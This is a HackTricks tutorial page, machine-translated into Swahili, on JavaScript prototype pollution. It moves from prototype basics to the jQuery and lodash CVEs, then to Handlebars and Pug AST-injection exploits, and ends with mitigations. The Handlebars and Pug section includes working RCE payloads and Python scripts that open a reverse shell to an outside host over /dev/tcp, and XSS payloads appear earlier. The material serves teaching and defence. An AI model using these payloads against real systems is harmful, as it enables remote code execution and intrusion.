NodeJS - __proto__ & prototype Pollution

Reading time: 12 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Objects in JavaScript

Vitu katika JavaScript kimsingi ni makusanyo ya jozi za funguo-thamani, zinazojulikana kama mali. Kitu kinaweza kuundwa kwa kutumia Object.create na null kama hoja ili kuzalisha kitu kisicho na kitu. Njia hii inaruhusu uundaji wa kitu bila mali zozote zilizorithiwa.

javascript
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.

Kitu kisichokuwa na kitu ni sawa na kamusi isiyo na kitu, inawakilishwa kama {}.

Kazi na Madarasa katika JavaScript

Katika JavaScript, madarasa na kazi zinahusiana kwa karibu, ambapo kazi mara nyingi hutumikia kama wajenzi wa madarasa. Licha ya ukosefu wa msaada wa asili wa darasa katika JavaScript, wajenzi wanaweza kuiga tabia ya darasa.

javascript
// Run this in the developers tools console

function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer")

employee1.__proto__

Prototypes katika JavaScript

JavaScript inaruhusu mabadiliko, kuongeza, au kufuta sifa za prototype wakati wa utendaji. Uwezo huu unaruhusu upanuzi wa kazi za darasa kwa njia ya dinamik.

Mifunction kama toString na valueOf zinaweza kubadilishwa kubadilisha tabia zao, ikionyesha asili inayoweza kubadilika ya mfumo wa prototype wa JavaScript.

Urithi

Katika programu inayotegemea prototype, mali/mifunction zinarithiwa na vitu kutoka kwa madarasa. Madarasa haya yanaundwa kwa kuongeza mali/mifunction ama kwa mfano wa darasa lingine au kwa kitu kisicho na kitu.

Inapaswa kuzingatiwa kwamba wakati mali inaongezwa kwa kitu kinachotumikia kama prototype kwa vitu vingine (kama myPersonObj), vitu vinavyorithi vinapata ufikiaji wa mali hii mpya. Hata hivyo, mali hii haionekani moja kwa moja isipokuwa itakapoitwa wazi.

__proto__ uchafuzi

Kuchunguza Uchafuzi wa Prototype katika JavaScript

Vitu vya JavaScript vin defined na jozi za funguo-thamani na vinarithi kutoka kwa prototype ya JavaScript Object. Hii inamaanisha kubadilisha prototype ya Object kunaweza kuathiri vitu vyote katika mazingira.

Hebu tumia mfano tofauti kuonyesha:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")

Upatikanaji wa prototype ya Object unapatikana kupitia:

javascript
car1.__proto__.__proto__
Vehicle.__proto__.__proto__

Kwa kuongeza mali kwenye prototype ya Object, kila kitu cha JavaScript kitapata urithi wa mali hizi mpya:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true

prototype pollution

Katika hali ambapo matumizi ya __proto__ yamepunguziliwa, kubadilisha prototype ya kazi ni chaguo mbadala:

javascript
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true

// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true

Hii inahusisha tu vitu vilivyoundwa kutoka kwa Vehicle constructor, ikiwapa mali za beep, hasWheels, honk, na isElectric.

Mbinu mbili za kuathiri vitu vya JavaScript kwa njia ya prototype pollution ni pamoja na:

  1. Kuathiri moja kwa moja Object.prototype:
javascript
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
  1. Kuchafulia prototype ya mjenzi wa muundo unaotumika sana:
javascript
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}

Baada ya operesheni hizi, kila kitu cha JavaScript kinaweza kutekeleza goodbye na greet mbinu.

Kuingiza vitu vingine

Kutoka kwa darasa hadi Object.prototype

Katika hali ambapo unaweza kuingiza kitu maalum na unahitaji kufikia Object.prototype unaweza kutafuta kwa kutumia kitu kama ifuatavyo:

javascript
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Uchafuzi wa vipengele vya array

Kumbuka kwamba kadri unavyoweza kuchafua sifa za vitu katika JS, ikiwa una ufikiaji wa kuchafua array unaweza pia kuchafua thamani za array zinazopatikana kwa viashiria (kumbuka kwamba huwezi kuandika tena thamani, hivyo unahitaji kuchafua viashiria ambavyo kwa namna fulani vinatumika lakini havijaandikwa).

javascript
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Uchafuzi wa vipengele vya Html

Wakati wa kuunda kipengele cha HTML kupitia JS inawezekana kufuta sifa ya innerHTML ili kufanya iweze kuandika kanuni za HTML zisizo na mpangilio. Wazo na mfano kutoka kwa andiko hili.

javascript
// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Mifano

Mfano wa Msingi

Uchafuzi wa prototype hutokea kutokana na kasoro katika programu inayoruhusu kuandika upya mali kwenye Object.prototype. Hii inamaanisha kwamba kwa kuwa vitu vingi vinapata mali zao kutoka Object.prototype

Mfano rahisi ni kuongeza thamani kwenye sifa isiyofafanuliwa ya kitu ambacho kitakaguliwa, kama:

javascript
if (user.admin) {

Ikiwa sifa admin haijafafanuliwa inawezekana kutumia PP na kuipatia Thamani ya Kweli kwa kitu kama:

javascript
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mechanism nyuma ya hii inahusisha kubadilisha mali kwa namna kwamba ikiwa mshambuliaji ana udhibiti juu ya ingizo fulani, wanaweza kubadilisha prototype ya vitu vyote katika programu. Manipulation hii kwa kawaida inahusisha kuweka mali ya __proto__, ambayo, katika JavaScript, ni sawa na kubadilisha moja kwa moja prototype ya kitu.

Masharti ambayo shambulio hili linaweza kutekelezwa kwa mafanikio, kama ilivyoelezwa katika study maalum, ni pamoja na:

  • Kufanya muungano wa kurudi.
  • Kuweka mali kulingana na njia.
  • Kutoa vitu.

Override function

python
customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

{{#ref}} prototype-pollution-to-rce.md {{#endref}}

Mifumo mingine:

Client-side prototype pollution to XSS

{{#ref}} client-side-prototype-pollution.md {{#endref}}

CVE-2019–11358: Shambulio la prototype pollution kupitia jQuery $ .extend

Kwa maelezo zaidi angalia makala hii Katika jQuery, kazi ya $ .extend inaweza kusababisha prototype pollution ikiwa kipengele cha nakala ya kina kinatumika vibaya. Kazi hii hutumiwa mara nyingi kwa ajili ya kunakili vitu au kuunganisha mali kutoka kwa kitu cha kawaida. Hata hivyo, wakati imewekwa vibaya, mali zinazokusudiwa kwa kitu kipya zinaweza kupewa prototype badala yake. Kwa mfano:

javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true

Uthibitisho huu, ulioainishwa kama CVE-2019–11358, unaonyesha jinsi nakala ya kina inaweza kubadilisha kwa bahati mbaya prototype, ikisababisha hatari za usalama, kama vile ufikiaji wa admin usioidhinishwa ikiwa mali kama isAdmin zitakaguliwa bila uthibitisho sahihi wa kuwepo.

CVE-2018–3721, CVE-2019–10744: Shambulio la uchafuzi wa prototype kupitia lodash

Kwa maelezo zaidi angalia makala hii

Lodash ilikumbana na udhaifu sawa wa uchafuzi wa prototype (CVE-2018–3721, CVE-2019–10744). Masuala haya yalishughulikiwa katika toleo 4.17.11.

Mafunzo mengine na CVEs

{{#ref}} https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2 {{#endref}}

Zana za kugundua Uchafuzi wa Prototype

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Kiendelezi cha Burp Suite kilichoundwa kugundua na kuchambua udhaifu wa uchafuzi wa prototype upande wa seva katika programu za wavuti. Zana hii inafanya mchakato wa skanning maombi ili kubaini masuala yanayoweza kuwa ya uchafuzi wa prototype. Inatumia vifaa vilivyojulikana - mbinu za kutumia uchafuzi wa prototype kutekeleza vitendo vya hatari - hasa ikilenga maktaba za Node.js.
  • server-side-prototype-pollution: Kiendelezi hiki kinatambua udhaifu wa uchafuzi wa prototype upande wa seva. Kinatumia mbinu zilizoelezwa katika uchafuzi wa prototype upande wa seva.

Uchafuzi wa Prototype wa AST katika NodeJS

NodeJS inatumia kwa kiasi kikubwa Miti ya Sintaksia ya Abstrakti (AST) katika JavaScript kwa kazi kama vile injini za templeti na TypeScript. Sehemu hii inachunguza udhaifu unaohusiana na uchafuzi wa prototype katika injini za templeti, hasa Handlebars na Pug.

Uchambuzi wa Uthibitisho wa Handlebars

Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Uthibitisho huu unatokana na kazi maalum ndani ya faili ya javascript-compiler.js. Kazi ya appendContent, kwa mfano, inakusanya pendingContent ikiwa ipo, wakati kazi ya pushSource inarejesha pendingContent kuwa undefined baada ya kuongeza chanzo.

Mchakato wa Utekelezaji

Utekelezaji unatumia AST (Miti ya Sintaksia ya Abstrakti) inayozalishwa na Handlebars, ikifuatia hatua hizi:

  1. Manipulation ya Parser: Kwanza, parser, kupitia node ya NumberLiteral, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingizwa kwa nyuzi zisizo za nambari.
  2. Kushughulikia na Compiler: Compiler inaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa input.type ni sawa na Program, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumika.
  3. Kuingiza Msimbo: Kupitia manipulation ya Object.prototype, mtu anaweza kuingiza msimbo wowote katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali.

Mfano unaoonyesha utekelezaji wa udhaifu wa Handlebars:

javascript
const Handlebars = require("handlebars")

Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]

const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)

console.log(eval("(" + template + ")")["main"].toString())

Hii code inaonyesha jinsi mshambuliaji anaweza kuingiza msimbo wowote katika kiolezo cha Handlebars.

Marejeo ya Nje: Tatizo linalohusiana na uchafuzi wa prototype lilipatikana katika maktaba ya 'flat', kama ilivyoelezwa hapa: Issue on GitHub.

Marejeo ya Nje: Issue related to prototype pollution in the 'flat' library

Mfano wa exploit ya uchafuzi wa prototype katika Python:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Uthibitisho wa Pug

Pug, injini nyingine ya kielelezo, inakabiliwa na hatari sawa ya uchafuzi wa prototype. Taarifa za kina zinapatikana katika mjadala kuhusu AST Injection in Pug.

Mfano wa uchafuzi wa prototype katika Pug:

python
import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Hatua za Kuzuia

Ili kupunguza hatari ya uchafuzi wa prototype, mikakati iliyoorodheshwa hapa chini inaweza kutumika:

  1. Uthibitisho wa Kitu: Object.prototype inaweza kufanywa isiyoweza kubadilishwa kwa kutumia Object.freeze.
  2. Uthibitishaji wa Ingizo: Ingizo la JSON linapaswa kuthibitishwa kwa makini dhidi ya muundo wa programu.
  3. Mifumo Salama ya Kuunganisha: Matumizi yasiyo salama ya mifumo ya kuunganisha ya kurudiwa yanapaswa kuepukwa.
  4. Vitu Visivyo na Prototype: Vitu bila mali za prototype vinaweza kuundwa kwa kutumia Object.create(null).
  5. Matumizi ya Ramani: Badala ya Object, Map inapaswa kutumika kwa kuhifadhi jozi za funguo-thamani.
  6. Sasisho za Maktaba: Vidokezo vya usalama vinaweza kuingizwa kwa kusasisha maktaba mara kwa mara.
  7. Zana za Linter na Uchambuzi wa Kimuundo: Tumia zana kama ESLint zikiwa na nyongeza zinazofaa kugundua na kuzuia udhaifu wa uchafuzi wa prototype.
  8. Mapitio ya Kanuni: Tekeleza mapitio ya kina ya kanuni ili kubaini na kurekebisha hatari zinazoweza kuhusiana na uchafuzi wa prototype.
  9. Mafunzo ya Usalama: Wafundishe waendelezaji kuhusu hatari za uchafuzi wa prototype na mbinu bora za kuandika kanuni salama.
  10. Kutumia Maktaba kwa Uangalifu: Kuwa makini unapokuwa ukitumia maktaba za upande wa tatu. Kadiria hali yao ya usalama na pitia kanuni zao, hasa zile zinazoshughulikia vitu.
  11. Ulinzi wa Wakati wa Uendeshaji: Tumia mitambo ya ulinzi wa wakati wa uendeshaji kama vile kutumia pakiti za npm zinazolenga usalama ambazo zinaweza kugundua na kuzuia mashambulizi ya uchafuzi wa prototype.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks